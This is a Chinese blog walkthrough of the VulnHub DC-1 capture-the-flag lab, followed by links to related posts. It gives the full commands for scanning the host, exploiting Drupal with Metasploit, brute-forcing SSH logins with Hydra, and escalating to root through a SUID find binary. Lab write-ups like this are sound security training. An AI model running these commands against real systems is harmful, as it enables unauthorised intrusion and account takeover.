VulnHub系列(一)DC-1
环境
kali linux 和 DC-1 都是搭建在VMware上的虚拟机,都是NAT模式。
主机发现
NAT模式下虚拟机没有被分配真实的ip地址,他们通过共享宿主机的ip地址访问互联网。我们可以通过它的MAC地址00:0C:29:23:E2:8D查到宿主机分配给他的虚拟ip。
arp-scan -l=>192.168.62.134

还有另一种方法,假设我们已经和目标在同一个局域网下:
ip addr

查到当前所在网段 192.168.62.135\24
前24位为网络号(192.168.62),最后8位是主机号(135)
nmap -sP 192.168.62.0/24

扫描主机
nmap -sV -p- 192.168.62.134
-sV 主机安装的软件版本
-p- 扫描0~65535范围端口

可看到80端口开启,我们在浏览器访问
信息收集

我们看到网站用的是Drupal 7
一款WebApp,挺牛的由很多web专家一起开发维护的。
Wappalyzer是网站指纹工具,可在火狐插件中安装。
Metasploit 搜索漏洞
search drupal

选择漏洞,并查看需要配置的参数
use 4
show options

set rhost 192.168.62.134
run
出现meterpreter说明攻击成功,shell可获得终端
Get Shell
shell

cat flag1.txt

没什么用...
查看passwd文件中记录的用户信息
cat /etc/passwd

1 用户名
2 密码(x表示密码被加密存储在 /etc/shadow 文件中)
3 用户id(0 :root, 1~99:其他用户, 100~999系统保留)
4 用户组id (保存在 /etc/group 文件中)
5 备注
6 用户登录时所在的绝对路径
7 命令路径
cat /etc/passwd发现没有权限访问,如果可的话,就能使用John the Ripper来破解密码啦
flag4这个用户名一听就很有前途哈哈。。
hydra + john 暴力破解
john
John The Ripper 是一个(离线)密码破解工具,常用于执行字典攻击。它的密码字典是一个“单词列表”。它还可以把密码用加密算法或秘钥加密,再把输出与加密串比较进而破解面。
Hydra
THC Hydra 是一个(在线)网络登录黑客工具,它使用字典或暴力破解来尝试登录。它支持特别多的协议如 邮件(POP3,IMAP)、数据库、LDAP、SMB、VNC、SSH。
hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.62.134
-l 指定用户名
-P 密码字典(这里使用的是john安装后自带的,kali中在/usr/share/john目录下)
-ssh://ip 指定使用的协议和ip

破解成功,密码orange
ssh username@ip

flag4不是最终的flag, 最终的flag在root目录下。

提权
如何拥有root权限:
1.root用户登录
再来一次爆破...
hydra -l root -P /usr/share/john/password.lst ssh://192.168.62.134
失败...
2.普通用户登录
利用有suid权限位的命令获得权限
suid权限位:可以以root权限执行命令
find / -type f -perm -u=s 2>/dev/null

发现 find 命令被设置为了suid权限
用-exec实现两个命令的连接
find / -type -f -name test -exec "whoami" \;
find / -type -f -name test -exec "/bin/sh" \;
(test 是我事先创建的)

参考
VulnHub系列(一)DC-1的更多相关文章
- Vulnhub系列——持续更新
vulnhub系列--持续更新 一 · XXE Lab: 1 使用vmware搭建靶机 扫描存活主机 找到目标主机--192.168.1.18 开始扫描目标端口 发现只开了一个80 ...
- Vulnhub系列:chili
0x01 靶机信息 靶机:chili难度:简单下载:https://www.vulnhub.com/entry/chili-1,558/ 靶机描述: 0x02 信息收集 nmap扫描存活主机确定靶场i ...
- Vulnhub系列:Tomato(文件包含getshell)
这个靶机挺有意思,它是通过文件包含漏洞进行的getshell,主要姿势是将含有一句话木马的内容记录到ssh的登录日志中,然后利用文件包含漏洞进行包含,从而拿到shell 0x01 靶机信息 靶机:To ...
- Vulnhub系列:Os-hackNos
0x01环境搭建 靶机链接: https://www.vulnhub.com/entry/hacknos-os-hacknos,401/发布日期: 2019.11.27靶机描述: 描述 难度:容易中级 ...
- 【vulnhub】靶机-【DC系列】DC9(附靶机)
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 主机信息 Kali:192.168.56.113 DC9:192.168.56.112 ...
- vulnhub DC:1渗透笔记
DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...
- VC一些经验系列: 《分享泄漏检测工具:内存、DC、GDI、Handle... 》
分享下自己工作中用到的一些用于泄漏检测的工具 后面的是DC的一些定义和注意事项.(不喜勿看) //=================================================== ...
- Dc:7 Vulnhub Walkthrough
靶机下载地址: https://www.vulnhub.com/entry/dc-7,356/ 主机扫描: http://10.10.202.161/ Google搜索下: SSH 登录 以上分析得出 ...
- PJzhang:vulnhub靶机sunset系列SUNSET:TWILIGHT
猫宁~~~ 地址:https://www.vulnhub.com/entry/sunset-twilight,512/ 关注工具和思路. nmap 192.168.43.0/24靶机IP192.168 ...
随机推荐
- Python转义字符中'\'的个数问题
Python转义字符中''的个数问题 如果字符串里面有很多字符都需要转义,就需要加很多\,为了简化,Python还允许用r' '或者r" "表示''或" "内部 ...
- malloc 函数分析 glibc2.23
malloc 函数详解 本篇主要是参考了glibc 2.23的源码 首先我们来看看malloc函数的执行流程. strong_alias (__libc_malloc, __malloc) stron ...
- JetBrains系列IDE无法输入中文
1 问题描述 环境Linux+fcitx,JetBrains的IDE无法输入中文,包括IDEA,PyCharm,WebStorm,CLion等等. 2 解决方案 Linux下一般使用fcitx进入中文 ...
- JDBC_10_使用Statement实现升序和降序
使用Statement数据库操作对象实现升序和降序 Statement可以使用在需要SQL语句拼接的情况下,因为在这样的情况下如果使用PreparedStatement就会给需要拼接的某个SQL关键字 ...
- Semi-Prime(set)
Prime Number Definition An integer greater than one is called a prime number if its only positive di ...
- Python学习笔记-StatsModels 统计回归(1)线性回归
1.背景知识 1.1 插值.拟合.回归和预测 插值.拟合.回归和预测,都是数学建模中经常提到的概念,而且经常会被混为一谈. 插值,是在离散数据的基础上补插连续函数,使得这条连续曲线通过全部给定的离散数 ...
- 总结:composer的install和require和update指令。到底什么时候用什么指令
https://packagist.org 相当于是应用商店
- Python的套接字、IPv4和简单的客户端/服务器编程
#!/usr/bin/env python # -*- coding: utf-8 -*- import socket from binascii import hexlify import sys ...
- The 2014 ACM-ICPC Asia Mudanjiang Regional First Round C
题意: 这个是The 2014 ACM-ICPC Asia Mudanjiang Regional First Round 的C题,这个题目当时自己想的很复杂,想的是优先队列广搜,然后再在 ...
- Python中os模块、csv模块和xlrd模块的使用
目录 os模块的使用 open("test.txt","mode") 读取文件中的内容 f.read() f.readline(size) f.readline ...
